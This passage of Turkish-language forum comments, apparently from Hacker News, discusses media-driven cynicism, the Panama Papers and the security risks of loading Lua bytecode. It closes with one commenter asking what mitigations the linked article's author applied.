      Haber medyası bunun tersine inandırıyor, bu haberlerdeki ortalama yorumlar da o inancı pekiştiriyor; ama gerçekten öyle olsaydı sahip olduğumuz çeşitli lüksler ve sağlık/sosyal destek programları nasıl mümkün olurdu?
      Dünyada sorun yok demek değil bu, ama kesinlikle yapıcı insanlar yıkıcı insanlardan çok daha fazla
      Az önce Panama Papers ile ilgili bir HN başlığından geldiğim için bu düşünce daha da aklımın önünde. Orada tüm zenginlerin kötü olduğu ve hepsinin kovuşturmadan tamamen sıyrıldığı yönünde alaycı bir hava vardı; ama aslında birkaç yorum ikisinin de doğru olmadığını iyi yakalamıştı. Yalnızca başlığı biraz aşağı doğru okumak ve alaycılığa kapılmamak gerekiyor
  • Lua bytecode’unun, Lua kaynak kodu ayrıştırıcısını çalıştıracak kaynağı olmayan gömülü sistemler dışında asla kullanılmaması gerektiğini düşünüyorum
    Güvenlik açıkları dışında işe yarar görünen tek kullanım alanı kapalı kaynak programlar gibi

  • Gözden kaçırmış olabilirim ama arka tarafları üstünkörü okuduğumu kabul ederek söyleyeyim: yazarın gerçekte hangi hafifletme önlemlerinin alındığını hiç ele almadığı görünüyor. O kısmı daha fazla duymak isterdim